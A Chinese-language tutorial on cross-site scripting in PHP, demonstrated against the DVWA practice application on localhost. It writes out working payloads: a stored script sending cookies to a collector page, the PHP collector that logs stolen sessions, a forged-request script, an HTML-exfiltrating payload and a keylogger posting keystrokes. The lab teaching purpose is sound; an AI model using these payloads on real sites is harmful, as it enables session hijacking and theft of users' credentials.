XSS全称是跨站脚本攻击,是指利用网站中存在的一些漏洞,向后台提交一些可以在前端页面执行的代码,达到攻击的目的。比如会话劫持,窃取用户信息等。

为了更好的理解,下面举例说明什么是xss攻击。在这之前请下载dvwa ,它是一个可以练习网站攻击的程序,这里使用phpstudy来安装它,

PHP中XSS(跨站脚本攻击)

为了更好的测试,点击DVWA Security,或者输入地址http://localhost/dvwa/security.php,然后设置网站的安全级别为low。

PHP中XSS(跨站脚本攻击)

会话劫持

当网站程序没有开启httponly的时候可以截获用户的会话信息。示例如下:

先打开http://localhost/DVWA/vulnerabilities/xss_r/页面尝试输入 <script>alert(document.cookie)</script>,如下

PHP中XSS(跨站脚本攻击)

显然,因为服务器端没有配置httponly为开启状态,浏览器可以执行脚本document.cookie,那么可以通过脚本向三方网站发送用户的session信息。

然后打开页面http://localhost/dvwa/vulnerabilities/xss_s/输入留言信息,需要将文件vulnerabilities\xss_s\index.php 留言板的长度改长一点,这里改为300,以便测试。

我们在表单中输入攻击的代码

xss测试会话信息<script>new Image().src="http://loalhost/xss/user.php?session="+document.cookie;</script>

PHP中XSS(跨站脚本攻击)

PHP中XSS(跨站脚本攻击)

这样这个网站的这个页面就被我们植入了不安全的代码,每当用户访问这个页面的时候就会给地址http://localhost/xss/user.php发送session信息。

PHP中XSS(跨站脚本攻击)

user.php代码可以简单如下:

<?php
$session = $_GET['session'] . date('Y-m-d H:i:s') . PHP_EOL;
file_put_contents('user.txt', $session, FILE_APPEND | LOCK_EX);

?>

当攻击者拿到这个cookie中的session信息 u1j7pu1d0tvg4s3vufd3pbqft5 变可以直接登录网站。

未授权操作

当网站程序开启httponly的时候也可以让用户在不经意间执行一些恶意操作,如删除信息,在线转账等。

还是打开留言板页面http://localhost/dvwa/vulnerabilities/xss_s/输入下面的代码。当第一个用户提交后,以后每次刷新这个页面就会执行恶意代码。

<script>
var xhr = new XMLHttpRequest(); xhr.open('POST','http://localhost/DVWA/vulnerabilities/xss_s/',true);
xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');
xhr.send('txtName=yxjc123&mtxMessage=xss恶意操作测试&btnSign=Sign+Scrapbook');
</script> 

效果如图所示

PHP中XSS(跨站脚本攻击)

显然,这只是个简单的留言示例,如果是在线转账,数据删除后者修改就会有很大的问题了。

窃取用户信息

通过第一个示例我们知道获取用户的会话信息就是通过向第三方网站发送请求,同样的获取用户信息也是如此,都是输入一段恶意代码,然后获取网页的html结果,然后向攻击者的网站发送请求。

<script>new Image().src="http://localhost/xss/user.php?html="+document.body.innerHTML</script>
PHP中XSS(跨站脚本攻击)

键盘监听

xss攻击还可以捕捉用户在键盘的输入信息,如用户名和密码等。

监听键盘和发送消息的代码如下:

<script>
document.onkeyup = function (e) {  
	var keys = '';  
    var code = e.keyCode;
    if (e.shiftKey && code >= 65 && code <= 90 ) {
        keys += String.fromCharCode(code);
    }
    else if (code >=65 && code <= 90) {
        keys += String.fromCharCode(code+32);
    }
    else {
        keys += String.fromCharCode(code);
    }
    var xhr = new XMLHttpRequest(); xhr.open('POST','http://localhost/xss/user.php',true);
	xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');
	xhr.send('keys='+keys);
}
</script>

未来完待续...